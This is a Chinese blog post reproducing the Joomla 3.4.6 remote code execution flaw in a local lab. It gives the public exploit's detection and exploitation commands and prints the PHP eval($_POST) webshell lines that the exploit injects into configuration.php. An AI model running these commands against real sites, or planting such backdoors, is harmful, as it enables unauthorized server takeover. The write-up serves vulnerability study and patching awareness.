Joomla 3.4.6 远程代码执行漏洞复现

2024-03-06 16:18

本文主要是介绍Joomla 3.4.6 远程代码执行漏洞复现,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

0x00 CMS简介

Joomla!是一套全球知名的内容管理系统。 Joomla!是使用PHP语言加上MySQL数据库所开发的软件系统,目前最新版本是3.9.11 。可以在Linux、 Windows、MacOSX等各种不同的平台上执行。目前是由Open Source Matter这个开放源码组织进行开发与支持,这个组织的成员来自全世界各地,小组成员约有150人,包含了开发者、设计者、系统管理者、文件撰写者,以及超过2万名的参与会员。
自2012年颁奖典礼开始以来,Joomla连续多年成为CMS评奖的冠军。继2015、2016、2017、2018年在全球CMS评测中,它再次获得“最佳开源CMS”奖!

0x01 漏洞简介

  • Alessandro Groppo @Hacktive Security于2019-10-02在exploit-db( https://www.exploit-db.com/exploits/47465)发布了Joomla命令执行的EXP,漏洞本质是Joomla对session数据处理不当,未经授权的攻击者可以发送精心构造的恶意 HTTP 请求,获取服务器权限,实现远程命令执行。
  • 影响范围:3.0.0 <= Joomla <= 3.4.6

0x02 环境搭建

我用的phpstudy搭建的
Joomla下载地址:https://downloads.joomla.org/it/cms/joomla3/3-4-6
安装成功后首页如下
在这里插入图片描述

0x03 漏洞复现

EXP:https://github.com/kiks7/rusty_joomla_rce
1.漏洞检测

python rusty_joomla_exploit.py -t http://quan.joomla346.net/ -c

运行结果如下,Vulnerable证明存在漏洞
在这里插入图片描述
2.漏洞利用

rusty_joomla_rce-master>python rusty_joomla_exploit.py -t http://quan.joomla346.net/ -e -l quan.joomla346.net -p 80

在这里插入图片描述
可以看到configuration.php中写入了一句话木马(这里我多运行了几次,于是有好几个)
在这里插入图片描述

if(isset($_POST['epgijbodvzllittceoyidpbbglcdawduhyvqqtdndfxjfivvkg'])) eval($_POST['epgijbodvzllittceoyidpbbglcdawduhyvqqtdndfxjfivvkg']);if(isset($_POST['bhjhofjrtfrlskgaufapblryaqymfzrrbaoluyljwgekkoakhm'])) eval($_POST['bhjhofjrtfrlskgaufapblryaqymfzrrbaoluyljwgekkoakhm']);if(isset($_POST['dzyxxxhejymxvidysrisgguzvbehpuudwgkwcgldarnnlkxgbj'])) eval($_POST['dzyxxxhejymxvidysrisgguzvbehpuudwgkwcgldarnnlkxgbj']);

用菜刀连接
在这里插入图片描述

0x04 漏洞修复

更新至官网最新版本

0x05 参考

https://mp.weixin.qq.com/s/1LJJG-whv1vUfaWDSfA2gg

这篇关于Joomla 3.4.6 远程代码执行漏洞复现的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/780611

相关文章

一文详解Git中分支本地和远程删除的方法

《一文详解Git中分支本地和远程删除的方法》在使用Git进行版本控制的过程中,我们会创建多个分支来进行不同功能的开发,这就容易涉及到如何正确地删除本地分支和远程分支,下面我们就来看看相关的实现方法吧... 目录技术背景实现步骤删除本地分支删除远程www.chinasem.cn分支同步删除信息到其他机器示例步骤

Python远程控制MySQL的完整指南

《Python远程控制MySQL的完整指南》MySQL是最流行的关系型数据库之一,Python通过多种方式可以与MySQL进行交互,下面小编就为大家详细介绍一下Python操作MySQL的常用方法和最... 目录1. 准备工作2. 连接mysql数据库使用mysql-connector使用PyMySQL3.

Linux使用scp进行远程目录文件复制的详细步骤和示例

《Linux使用scp进行远程目录文件复制的详细步骤和示例》在Linux系统中,scp(安全复制协议)是一个使用SSH(安全外壳协议)进行文件和目录安全传输的命令,它允许在远程主机之间复制文件和目录,... 目录1. 什么是scp?2. 语法3. 示例示例 1: 复制本地目录到远程主机示例 2: 复制远程主

IDEA如何实现远程断点调试jar包

《IDEA如何实现远程断点调试jar包》:本文主要介绍IDEA如何实现远程断点调试jar包的问题,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录问题步骤总结问题以jar包的形式运行Spring Boot项目时报错,但是在IDEA开发环境javascript下编译

Python中文件读取操作漏洞深度解析与防护指南

《Python中文件读取操作漏洞深度解析与防护指南》在Web应用开发中,文件操作是最基础也最危险的功能之一,这篇文章将全面剖析Python环境中常见的文件读取漏洞类型,成因及防护方案,感兴趣的小伙伴可... 目录引言一、静态资源处理中的路径穿越漏洞1.1 典型漏洞场景1.2 os.path.join()的陷

C#实现访问远程硬盘的图文教程

《C#实现访问远程硬盘的图文教程》在现实场景中,我们经常用到远程桌面功能,而在某些场景下,我们需要使用类似的远程硬盘功能,这样能非常方便地操作对方电脑磁盘的目录、以及传送文件,这次我们将给出一个完整的... 目录引言一. 远程硬盘功能展示二. 远程硬盘代码实现1. 底层业务通信实现2. UI 实现三. De

Android实现两台手机屏幕共享和远程控制功能

《Android实现两台手机屏幕共享和远程控制功能》在远程协助、在线教学、技术支持等多种场景下,实时获得另一部移动设备的屏幕画面,并对其进行操作,具有极高的应用价值,本项目旨在实现两台Android手... 目录一、项目概述二、相关知识2.1 MediaProjection API2.2 Socket 网络

Ubuntu中远程连接Mysql数据库的详细图文教程

《Ubuntu中远程连接Mysql数据库的详细图文教程》Ubuntu是一个以桌面应用为主的Linux发行版操作系统,这篇文章主要为大家详细介绍了Ubuntu中远程连接Mysql数据库的详细图文教程,有... 目录1、版本2、检查有没有mysql2.1 查询是否安装了Mysql包2.2 查看Mysql版本2.

Spring Boot 3.4.3 基于 Spring WebFlux 实现 SSE 功能(代码示例)

《SpringBoot3.4.3基于SpringWebFlux实现SSE功能(代码示例)》SpringBoot3.4.3结合SpringWebFlux实现SSE功能,为实时数据推送提供... 目录1. SSE 简介1.1 什么是 SSE?1.2 SSE 的优点1.3 适用场景2. Spring WebFlu

Mybatis从3.4.0版本到3.5.7版本的迭代方法实现

《Mybatis从3.4.0版本到3.5.7版本的迭代方法实现》本文主要介绍了Mybatis从3.4.0版本到3.5.7版本的迭代方法实现,包括主要的功能增强、不兼容的更改和修复的错误,具有一定的参考... 目录一、3.4.01、主要的功能增强2、selectCursor example3、不兼容的更改二、